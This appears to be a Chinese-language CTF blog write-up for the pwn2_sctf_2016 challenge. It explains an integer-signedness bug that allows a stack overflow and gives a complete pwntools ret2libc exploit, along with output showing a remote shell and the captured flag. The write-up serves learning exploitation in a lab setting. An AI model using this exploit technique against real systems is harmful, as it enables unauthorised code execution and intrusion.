pwn2_sctf_2016 1

例题:pwn2_sctf_2016 1
首先检查一下文件:

C:\Users\A\Downloads>checksec pwn2_sctf_2016
[*] 'C:\\Users\\A\\Downloads\\pwn2_sctf_2016'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
  • 32位程序,小端序
  • GOT表只读
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

思路分析

首先看一下main函数:
image

看来没啥,直接看到vuln函数:
image

仔细观察,nptr是char类型(根据后面的&nptr,其实也可以判断这是一个char类型的数组),也就是一种无符号类型,却出现了get_n((int)&nptr,4u),即将nptr转成int类型。
这就可能会导致整数溢出漏洞。
因此我们只需要输入-1,转成int类型,就变成很大的数,即v2变成很大的数。

因此思路如下:

  • 输入-1
  • 进行栈溢出操作
  • 由于没有system,/bin/sh,因此采用ret2libc

根据buu对这到题的描述,这个题目是一个ubuntu16的环境,因此libc版本也比较老,所以一般情况下LibcSearcher获取不到,所以我们需要去添加一下对于的libc。
来到BUUCTF的资源,下载一下这个libc
image
image

可以向我一样,把这个libc添加到LibcSearcher的数据库里。这样就解决了libc的问题
image

当然,也是因为环境较老的原因,我在本地(kali 2025)也打不通。只能打远程。

攻击脚本

from pwn import *
import sys
sys.path.append("../tools/LibcSearcher")
from LibcSearcher import *

file ="./pwn2_sctf_2016"
#context.log_level = 'debug'

elf = ELF(file)
main = elf.symbols["main"]
printf_plt = elf.plt["printf"]
libc_start_got = elf.got["__libc_start_main"]
offset = 0x2c + 4

local = 2
if local == 1:
    io = process(file)
else:
    io = remote("node5.buuoj.cn",28158)

pay = b'-1'
io.recvuntil(b"read? ")
io.sendline(pay)

pay = b'a' * offset + p32(printf_plt) + p32(main) + p32(libc_start_got)
io.recvuntil(b"data!\n")
io.sendline(pay)
io.recvuntil(b'\n')
libc_start = u32(io.recv(4).ljust(4,b'\x00'))
print(hex(libc_start))

libc = LibcSearcher("__libc_start_main",libc_start)
libc_base = libc_start - libc.dump("__libc_start_main")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")


pay = b'-1'
io.recvuntil(b'read? ')
io.sendline(pay)

pay = b'a' * offset + p32(system) + b'1234' + p32(bin_sh)
io.recvuntil(b'data!\n')
io.sendline(pay)
io.recvline()

io.interactive()
点击查看代码
[*] '/home/kali/Desktop/ctf/pwn/attack/pwn2_sctf_2016'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[+] Opening connection to node5.buuoj.cn on port 28158: Done
0xf7d8b540
Multi Results:
 0: ubuntu-glibc (id libc6_2.23-0ubuntu3_i386)
 1: ubuntu-glibc (id libc6-i386_2.23-0ubuntu3_amd64)
 2: ubuntu-old-glibc (id libc6_2.36-0ubuntu4_amd64)
 3: /home/kali/Desktop/ctf/pwn/tools/LibcSearcher/libc-database/libc-2.23.so (id local-c1d3aa79808e71885c67b9763b5e52a96cc02d16)
Please supply more info using 
        add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:3
[+] /home/kali/Desktop/ctf/pwn/tools/LibcSearcher/libc-database/libc-2.23.so (id local-c1d3aa79808e71885c67b9763b5e52a96cc02d16) be choosed.
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{fdecba95-4581-473b-8339-11a58a72ef92}
$ 
[*] Closed connection to node5.buuoj.cn port 28158
posted @ 2025-08-09 16:27  星冥鸢  阅读(30)  评论(0)    收藏  举报